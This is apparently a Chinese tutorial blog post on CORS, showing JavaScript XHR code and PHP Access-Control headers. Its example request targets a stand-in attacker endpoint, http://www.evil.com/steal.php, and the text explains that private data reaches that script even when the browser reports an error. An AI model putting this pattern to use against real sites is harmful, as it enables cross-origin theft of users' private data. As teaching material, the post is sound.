CORS跨域资源共享

TOC
  1. 1. 请求域
  2. 2. 目标域

请求域

这段代码放在请求域上 , 本域地址: http://www.foo.com

function createCORSRequest(method, url){
     var xhr = new XMLHttpRequest();
     if ("withCredentials" in xhr){
          xhr.open(method, url, true);
     } else if (typeof XDomainRequest != "undefined"){
          xhr = new XDomainRequest( ); // IE 浏览器
          xhr.open(method, url);
     } else {
          xhr = null;
     }
     return xhr;
}
var request = createCORSRequest("get", "http://www.evil.com/steal.php");
if (request){
     request.onload = function(){ // 请求成功后
     alert(request.responseText); // 弹出响应的数据
};
     request.send(); // 发送请求
}

目标域

这段代码放在目标域上 , 本域地址: http://www.evil.com/steal.php

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
// header里面存放请求域的地址 , 如果是通配符 * ,代表可以被任意域请求资源。
?>

即便是 Access-Control-Allow-Origin 不设置请求域的 地址 ,只要请求域向目标域中发送请求,那么目标域一样会接受发送过来的数据,只是浏览器会报错。如果目标域不设置 Access-Control-Allow-Origin: http://www.foo.com,那么隐私数据可以被偷到吗?答案是肯定的。虽然浏览器会报权限错误的问题,但实际上隐私数据已经被目标域的 steal.php 接收到了。

默认情况下,这样的跨域无法带上目标域的会话( Cookies 等),需要设置 xhr 实例的
withCredentials属性为 true( IE 还不支持),同时目标域的 steal.php 必须设置如下:

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
header("Access-Control-Allow-Credentials: true"); // 允许跨域证书发送
//...
?>

有 一 点 需 要 注 意 , 如果 设 置 了 Access-Control-Allow-Credentials 为 true ,那么Access-Control-Allow-Origin就不能设置为*通配符,这也是浏览器为了安全进行的考虑。有了 CORS 机制,跨域就变得特别方便了,该功能要慎重使用,否则后果会很严重。

访客评论